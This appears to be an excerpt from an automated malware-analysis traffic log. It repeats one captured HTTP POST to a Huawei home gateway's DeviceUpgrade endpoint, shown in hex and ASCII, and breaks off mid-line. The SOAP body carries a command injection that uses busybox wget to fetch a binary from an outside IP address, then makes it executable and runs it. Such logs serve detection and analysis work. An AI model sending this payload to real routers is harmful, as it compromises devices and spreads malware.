74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary 